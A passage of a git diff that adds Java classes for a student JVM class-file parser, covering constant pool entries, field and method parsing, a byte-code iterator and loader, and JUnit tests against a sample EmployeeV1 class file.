diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ConstantInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ConstantInfo.java
new file mode 100755
index 0000000000..0f3d63685c
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/ConstantInfo.java
@@ -0,0 +1,42 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public abstract class ConstantInfo {
+
+    public static final int CONSTANT_UTF8_INFO = 1;//
+    public static final int CONSTANT_INTEGER_INFO = 3;
+    public static final int CONSTANT_FLOAT_INFO = 4;//
+    public static final int CONSTANT_LONG_INFO = 5;
+    public static final int CONSTANT_DOUBLE_INFO = 6;
+    public static final int CONSTANT_CLASS_INFO = 7;//
+    public static final int CONSTANT_STRING_INFO = 8;//
+    public static final int CONSTANT_FIELDREF_INFO = 9;//
+    public static final int CONSTANT_METHODREF_INFO = 10;//
+    public static final int CONSTANT_INTERFACEMETHODREF_INFO = 11;
+    public static final int CONSTANT_NAMEANDTYPE_INFO = 12;//
+    public static final int CONSTANT_METHODHANDLE_INFO = 15;
+    public static final int CONSTANT_METHODTYPE_INFO = 16;
+    public static final int CONSTANT_INVOKEDYNAMIC_INFO = 18;
+
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getTag();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/FieldRefInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/FieldRefInfo.java
new file mode 100755
index 0000000000..f39bc87b72
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,60 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class FieldRefInfo extends ConstantInfo {
+    private int tag = ConstantInfo.CONSTANT_FIELDREF_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+        return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+    }
+
+    public String getClassName() {
+
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getNameIndex());
+
+        return utf8Info.getValue();
+
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/MethodRefInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/MethodRefInfo.java
new file mode 100755
index 0000000000..46535b7769
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class MethodRefInfo extends ConstantInfo {
+
+    private int tag = ConstantInfo.CONSTANT_METHODREF_INFO;
+
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+    }
+
+    public String getClassName() {
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NameAndTypeInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NameAndTypeInfo.java
new file mode 100755
index 0000000000..a081902eac
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class NameAndTypeInfo extends ConstantInfo {
+    public int tag = ConstantInfo.CONSTANT_NAMEANDTYPE_INFO;
+
+    private int nameIndex;
+    private int descriptorIndex;
+
+    public NameAndTypeInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public void setNameIndex(int nameIndex) {
+        this.nameIndex = nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public void setDescriptorIndex(int descriptorIndex) {
+        this.descriptorIndex = descriptorIndex;
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+
+    public String getName() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(nameIndex);
+        return utf8Info1.getValue();
+    }
+
+    public String getTypeInfo() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(descriptorIndex);
+        return utf8Info2.getValue();
+    }
+
+    public String toString() {
+        return "(" + getName() + "," + getTypeInfo() + ")";
+    }
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NullConstantInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NullConstantInfo.java
new file mode 100755
index 0000000000..1d1d8394f9
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,14 @@
+package io.github.vxzh.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getTag() {
+        return -1;
+    }
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/StringInfo.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/StringInfo.java
new file mode 100755
index 0000000000..e5175eed4a
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/StringInfo.java
@@ -0,0 +1,30 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class StringInfo extends ConstantInfo {
+    private int tag = ConstantInfo.CONSTANT_STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/UTF8Info.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/UTF8Info.java
new file mode 100755
index 0000000000..e1fb81006b
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/constant/UTF8Info.java
@@ -0,0 +1,40 @@
+package io.github.vxzh.jvm.constant;
+
+import io.github.vxzh.jvm.clz.ConstantPool;
+
+public class UTF8Info extends ConstantInfo {
+    private int tag = ConstantInfo.CONSTANT_UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getTag() {
+        return tag;
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [tag=" + tag + ", length=" + length + ", value=" + value + ")]";
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/field/Field.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/field/Field.java
new file mode 100644
index 0000000000..7bb54a6b0c
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/field/Field.java
@@ -0,0 +1,48 @@
+package io.github.vxzh.jvm.field;
+
+
+import io.github.vxzh.jvm.clz.ClassFile;
+import io.github.vxzh.jvm.constant.UTF8Info;
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+    private ClassFile clzFile;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ClassFile clzFile) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.clzFile = clzFile;
+    }
+
+    public String toString() {
+        String name = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(this.nameIndex)).getValue();
+        String desc = ((UTF8Info) clzFile.getConstantPool().getConstantInfo(this.descriptorIndex)).getValue();
+        return name + ":" + desc;
+    }
+
+
+    public static Field parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int accessFlag = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descIndex = iter.nextU2ToInt();
+        int attribCount = iter.nextU2ToInt();
+        //System.out.println("field attribute count:"+ attribCount);
+
+        Field f = new Field(accessFlag, nameIndex, descIndex, clzFile);
+
+        if (attribCount > 0) {
+            throw new RuntimeException("Field Attribute has not been implemented");
+        }
+
+        return f;
+    }
+
+}
+
+
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ByteCodeIterator.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..f3744d85b5
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,58 @@
+package io.github.vxzh.jvm.loader;
+
+import io.github.vxzh.jvm.util.Util;
+
+import java.util.Arrays;
+
+public class ByteCodeIterator {
+
+    byte[] codes;
+    int pos = 0;
+
+    ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+    }
+
+
+    public byte[] getBytes(int len) {
+        if (pos + len >= codes.length) {
+            throw new ArrayIndexOutOfBoundsException();
+        }
+
+        byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+        pos += len;
+        return data;
+    }
+
+    public int nextU1toInt() {
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++]});
+    }
+
+    public int nextU4ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+    }
+
+    public String nextU4ToHexString() {
+        return Util.byteToHexString((new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]}));
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] tmp = new byte[len];
+
+        for (int i = 0; i < len; i++) {
+            tmp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(tmp).toLowerCase();
+
+    }
+
+    public void back(int n) {
+        this.pos -= n;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileLoader.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileLoader.java
new file mode 100755
index 0000000000..275e9da3ac
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,58 @@
+package io.github.vxzh.jvm.loader;
+
+import io.github.vxzh.jvm.clz.ClassFile;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+        className = className.replace('.', File.separatorChar) + ".class";
+        for (String path : this.clzPaths) {
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if (codes != null) {
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    public void addClassPath(String path) {
+        if (this.clzPaths.contains(path)) {
+            return;
+        }
+        clzPaths.add(path);
+    }
+
+    public String getClassPath() {
+        return StringUtils.join(this.clzPaths, ";");
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+        File f = new File(clzFileName);
+        try {
+            return IOUtils.toByteArray(new FileInputStream(f));
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public ClassFile loadClass(String className) {
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParser parser = new ClassFileParser();
+        return parser.parse(codes);
+
+    }
+
+}
\ No newline at end of file
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileParser.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4f5bafddbe
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/loader/ClassFileParser.java
@@ -0,0 +1,188 @@
+package io.github.vxzh.jvm.loader;
+
+import io.github.vxzh.jvm.clz.AccessFlag;
+import io.github.vxzh.jvm.clz.ClassFile;
+import io.github.vxzh.jvm.clz.ClassIndex;
+import io.github.vxzh.jvm.clz.ConstantPool;
+import io.github.vxzh.jvm.constant.ClassInfo;
+import io.github.vxzh.jvm.constant.FieldRefInfo;
+import io.github.vxzh.jvm.constant.MethodRefInfo;
+import io.github.vxzh.jvm.constant.NameAndTypeInfo;
+import io.github.vxzh.jvm.constant.NullConstantInfo;
+import io.github.vxzh.jvm.constant.StringInfo;
+import io.github.vxzh.jvm.constant.UTF8Info;
+import io.github.vxzh.jvm.field.Field;
+import io.github.vxzh.jvm.method.Method;
+
+import java.io.UnsupportedEncodingException;
+
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_CLASS_INFO;
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_FIELDREF_INFO;
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_METHODREF_INFO;
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_NAMEANDTYPE_INFO;
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_STRING_INFO;
+import static io.github.vxzh.jvm.constant.ConstantInfo.CONSTANT_UTF8_INFO;
+
+public class ClassFileParser {
+
+
+    public ClassFile parse(byte[] codes) {
+
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+        //验证魔数
+        String magicNumber = iter.nextU4ToHexString();
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+
+        //解析次版本号和主版本号
+        clzFile.setMinorVersion(iter.nextU2ToInt());
+        clzFile.setMajorVersion(iter.nextU2ToInt());
+
+        //解析常量池
+        ConstantPool pool = parseConstantPool(iter);
+        clzFile.setConstPool(pool);
+
+        //解析访问标志
+        AccessFlag flag = parseAccessFlag(iter);
+        clzFile.setAccessFlag(flag);
+
+        //解析类索引和父类索引
+        ClassIndex clzIndex = parseClassInfex(iter);
+        clzFile.setClassIndex(clzIndex);
+
+        //解析接口
+        parseInterfaces(iter);
+
+        //解析字段表集合
+        parseFileds(clzFile, iter);
+
+        //解析方法表集合
+        parseMethods(clzFile, iter);
+
+        return clzFile;
+    }
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+        AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+        // System.out.println("Is public class: " + flag.isPublicClass());
+        // System.out.println("Is final class : " + flag.isFinalClass());
+
+        return flag;
+    }
+
+    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+        int thisClassIndex = iter.nextU2ToInt();
+        int superClassIndex = iter.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+
+        return clzIndex;
+
+    }
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+        int constPoolCount = iter.nextU2ToInt();
+
+        System.out.println("Constant Pool Count :" + constPoolCount);
+
+        ConstantPool pool = new ConstantPool();
+
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 1; i <= constPoolCount - 1; i++) {
+
+            int tag = iter.nextU1toInt();
+
+            if (tag == CONSTANT_CLASS_INFO) {//7
+                // Class Info
+                int utf8Index = iter.nextU2ToInt();
+                ClassInfo clzInfo = new ClassInfo(pool);
+                clzInfo.setNameIndex(utf8Index);
+                pool.addConstantInfo(clzInfo);
+            } else if (tag == CONSTANT_UTF8_INFO) {//1
+                // UTF-8 String
+                int len = iter.nextU2ToInt();
+                byte[] data = iter.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+
+                UTF8Info utf8Str = new UTF8Info(pool);
+                utf8Str.setLength(len);
+                utf8Str.setValue(value);
+                pool.addConstantInfo(utf8Str);
+            } else if (tag == CONSTANT_STRING_INFO) {//8
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == CONSTANT_FIELDREF_INFO) {//9
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iter.nextU2ToInt());
+                field.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(field);
+            } else if (tag == CONSTANT_METHODREF_INFO) {//10
+                // MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iter.nextU2ToInt());
+                method.setNameAndTypeIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(method);
+            } else if (tag == CONSTANT_NAMEANDTYPE_INFO) {//12
+                // Name and Type Info
+                NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+                nameType.setNameIndex(iter.nextU2ToInt());
+                nameType.setDescriptorIndex(iter.nextU2ToInt());
+                pool.addConstantInfo(nameType);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+            }
+        }
+
+        System.out.println("Finished reading Constant pool ");
+
+        return pool;
+    }
+
+    private void parseInterfaces(ByteCodeIterator iter) {
+        int interfaceCount = iter.nextU2ToInt();
+
+        System.out.println("interfaceCount:" + interfaceCount);
+
+        // TODO : 如果实现了interface, 这里需要解析
+    }
+
+    private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+        int fieldCount = iter.nextU2ToInt();
+
+        for (int i = 1; i <= fieldCount; i++) {
+            Field f = Field.parse(clzFile, iter);
+            clzFile.addField(f);
+        }
+
+    }
+
+    private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int methodCount = iter.nextU2ToInt();
+
+        for (int i = 1; i <= methodCount; i++) {
+            Method m = Method.parse(clzFile, iter);
+            clzFile.addMethod(m);
+        }
+
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/method/Method.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/method/Method.java
new file mode 100644
index 0000000000..40d88910e3
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/method/Method.java
@@ -0,0 +1,92 @@
+package io.github.vxzh.jvm.method;
+
+
+import io.github.vxzh.jvm.attr.AttributeInfo;
+import io.github.vxzh.jvm.attr.CodeAttr;
+import io.github.vxzh.jvm.clz.ClassFile;
+import io.github.vxzh.jvm.clz.ConstantPool;
+import io.github.vxzh.jvm.constant.UTF8Info;
+import io.github.vxzh.jvm.loader.ByteCodeIterator;
+
+public class Method {
+
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+    private CodeAttr codeAttr;
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+    public String toString() {
+
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder buffer = new StringBuilder();
+
+        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        buffer.append(name).append(":").append(desc).append("\n");
+
+        buffer.append(this.codeAttr.toString(pool));
+
+        return buffer.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int accessFlag = iter.nextU2ToInt();
+        int nameIndex = iter.nextU2ToInt();
+        int descIndex = iter.nextU2ToInt();
+        int attribCount = iter.nextU2ToInt();
+
+
+        Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+        for (int i = 0; i < attribCount; i++) {
+
+            int attrNameIndex = iter.nextU2ToInt();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iter.back(2);
+
+            if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
+                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+                m.setCodeAttr(codeAttr);
+            } else {
+                throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
+            }
+
+        }
+
+        return m;
+
+    }
+
+
+}
diff --git a/group13/2729382520/L6/src/io/github/vxzh/jvm/test/ClassFileloaderTest.java b/group13/2729382520/L6/src/io/github/vxzh/jvm/test/ClassFileloaderTest.java
new file mode 100755
index 0000000000..b8defc4b12
--- /dev/null
+++ b/group13/2729382520/L6/src/io/github/vxzh/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,254 @@
+package io.github.vxzh.jvm.test;
+
+import io.github.vxzh.jvm.clz.ClassFile;
+import io.github.vxzh.jvm.clz.ClassIndex;
+import io.github.vxzh.jvm.clz.ConstantPool;
+import io.github.vxzh.jvm.constant.ClassInfo;
+import io.github.vxzh.jvm.constant.MethodRefInfo;
+import io.github.vxzh.jvm.constant.NameAndTypeInfo;
+import io.github.vxzh.jvm.constant.UTF8Info;
+import io.github.vxzh.jvm.field.Field;
+import io.github.vxzh.jvm.loader.ClassFileLoader;
+import io.github.vxzh.jvm.method.Method;
+
+import io.github.vxzh.jvm.util.Util;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+public class ClassFileloaderTest {
+
+    private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+    static String path1 = "/Users/xuxiaoqing/Workspace/test";
+    static String path2 = "/Users/xuxiaoqing/Documents/demo";
+
+    static ClassFile clzFile = null;
+
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "io.github.vxzh.jvm.test.EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+        clzFile.print();
+    }
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "io.github.vxzh.jvm.test.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1056, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber() {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "io.github.vxzh.jvm.test.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+
+
+        String acctualValue = Util.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+    @Test
+    public void testVersion() {
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool() {
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getNameIndex());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getNameIndex());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getNameIndex());
+            Assert.assertEquals(14, nameAndType.getDescriptorIndex());
+        }
+        //抽查几个吧
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(45);
+            Assert.assertEquals(1, methodRef.getClassInfoIndex());
+            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+        }
+    }
+
+    @Test
+    public void testClassIndex() {
+
+        ClassIndex clzIndex = clzFile.getClzIndex();
+        ClassInfo thisClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+        ClassInfo superClassInfo = (ClassInfo) clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields() {
+
+        List<Field> fields = clzFile.getFields();
+        Assert.assertEquals(2, fields.size());
+        {
+            Field f = fields.get(0);
+            Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+        }
+        {
+            Field f = fields.get(1);
+            Assert.assertEquals("age:I", f.toString());
+        }
+    }
+
+    @Test
+    public void testMethods() {
+
+        List<Method> methods = clzFile.getMethods();
+        ConstantPool pool = clzFile.getConstantPool();
+
+        {
+            Method m = methods.get(0);
+            assertMethodEquals(pool, m,
+                    "<init>",
